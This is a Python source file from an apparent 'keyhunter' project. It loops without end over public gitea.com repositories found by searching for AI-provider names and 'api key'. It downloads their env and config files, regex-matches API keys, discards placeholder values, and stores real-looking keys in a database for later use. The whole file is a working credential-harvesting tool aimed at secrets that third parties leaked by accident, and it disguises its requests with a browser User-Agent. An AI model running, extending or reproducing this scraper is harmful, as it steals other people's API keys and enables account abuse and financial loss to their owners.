keyhunter-parser/gitea_eternal.py

"""ETERNAL gitea.com hunt: repos/search -> git trees -> raw files -> grep.
Public Gitea instance, no auth needed for public repos. UDP-like mirror of github lanes."""
import os
KF_BASE = os.path.dirname(os.path.abspath(__file__))
os.makedirs(os.path.join(KF_BASE, "data"), exist_ok=True)
import hashlib
import json
import re
import sqlite3
import time
import urllib.parse
import urllib.error
import urllib.request

DB = os.environ.get("KF_DB") or os.path.join(KF_BASE, "data/keys.db")
LOG = os.path.join(KF_BASE, "gitea_eternal.log")
UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Accept": "application/json"}
BASE = "https://gitea.com/api/v1"

QUERIES = [
    "openai", "anthropic", "claude", "dashscope", "openrouter",
    "deepseek", "groq", "zhipu", "moonshot", "kimi", "together",
    "replicate", "nvidia", "siliconflow", "telegram bot", "llm",
    "ai agent", "chatbot", "gpt", "api key", "env config",
]

HOT_NAMES = (".env", ".env.", "config", "settings", "secret", "credential",
             "token", "api_key", "apikey", "auth", "deploy", "backup")

SCAN_EXT = (".env", ".json", ".yml", ".yaml", ".txt", ".md", ".ini", ".cfg", ".py", ".js", ".ts")

from key_patterns import PATTERNS

GARBAGE = ("xxxx", "your", "EXAMPLE", "example", "n0tr3al", "INSERT", "FAKE",
           "fake", "Fake", "test", "Test", "TEST", "demo", "Demo", "aaaa",
           "aBcDeF", "abcdef", "1234567890", "abcdefghij", "placehol",
           "changeme", "deadbeef", "fffffff", "0000000")


def log(msg):
    line = f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {msg}\n"
    print(line, flush=True)
    with open(LOG, "a", encoding="utf-8", errors="replace") as f:
        f.write(line)


def db_add(cur, seen, key, prov, repo):
    if key in seen or any(g in key for g in GARBAGE) or len(key) < 28:
        return 0
    seen.add(key)
    cur.execute(
        "INSERT INTO keys (hash, val, prov, status, found, repo) "
        "VALUES (?,?,?,?,?,?) "
        "ON CONFLICT(hash) DO UPDATE SET status='NEW', found=excluded.found, repo=excluded.repo "
        "WHERE keys.status IN ('DEAD','ERR')",
        (hashlib.sha1(key.encode()).hexdigest()[:16], key, prov, "NEW",
         "gitea", repo))
    return 1


def get_json(url, timeout=25):
    req = urllib.request.Request(url, headers=UA)
    with urllib.request.urlopen(req, timeout=timeout) as r:
        return json.loads(r.read())


def scan_repo(full, cur, seen):
    n = 0
    try:
        branches = get_json(f"{BASE}/repos/{urllib.parse.quote(full)}/branches")
        if not branches:
            return 0
        branch = branches[0]["name"]
        tree = get_json(f"{BASE}/repos/{urllib.parse.quote(full)}/git/trees/{urllib.parse.quote(branch)}?recursive=1")
        nodes = tree.get("tree", [])
        cands = []
        for node in nodes:
            p = node.get("path", "")
            if node.get("type") != "blob":
                continue
            low = p.lower()
            if any(h in low for h in HOT_NAMES) or low.endswith(SCAN_EXT):
                if len(p) < 160:
                    cands.append(p)
        for p in cands[:15]:
            try:
                req = urllib.request.Request(
                    f"{BASE}/repos/{urllib.parse.quote(full)}/raw/{urllib.parse.quote(branch)}/{urllib.parse.quote(p)}",
                    headers=UA)
                with urllib.request.urlopen(req, timeout=20) as r:
                    data = r.read().decode(errors="replace")
            except Exception:
                continue
            for prov, rx in PATTERNS:
                for key in rx.findall(data):
                    if isinstance(key, tuple):
                        key = key[-1]
                    hit = db_add(cur, seen, key, prov, f"gitea:{full}")
                    if hit:
                        n += 1
                        log(f"  + {prov} {key[:24]}... gitea:{full}/{p}")
        return n
    except Exception as e:
        return n


def cycle(db, qi):
    cur = db.cursor()
    cur.execute("SELECT val FROM keys")
    seen = {r[0] for r in cur.fetchall()}
    total = 0
    q = QUERIES[qi % len(QUERIES)]
    qi += 1
    try:
        d = get_json(f"{BASE}/repos/search?q={urllib.parse.quote(q)}&limit=20&order=desc")
        repos = (d.get("data") or [])
        log(f"query {q!r}: {len(repos)} repos")
        for repo in repos[:10]:
            full = repo.get("full_name", "")
            if not repo.get("fork") and repo.get("size", 9999) < 25000:
                try:
                    total += scan_repo(full, cur, seen)
                except Exception as e:
                    log(f"  gitea:{full} err: {str(e)[:40]}")
                time.sleep(1)
    except urllib.error.HTTPError as e:
        log(f"gitea HTTP {e.code} for {q!r}; sleeping 3min")
        db.commit()
        time.sleep(180)
    except Exception as e:
        log(f"cycle err: {str(e)[:80]}")
    db.commit()
    return total, qi


def main():
    log(f"=== gitea eternal START pid={__import__('os').getpid()} ===")
    db = sqlite3.connect(DB, timeout=120, check_same_thread=False, isolation_level=None)
    qi = 0
    while True:
        try:
            n, qi = cycle(db, qi)
            log(f"CYCLE done: +{n}; resting 3min")
        except Exception as e:
            log(f"cycle error (continuing): {e}")
        time.sleep(180)


if __name__ == "__main__":
    main()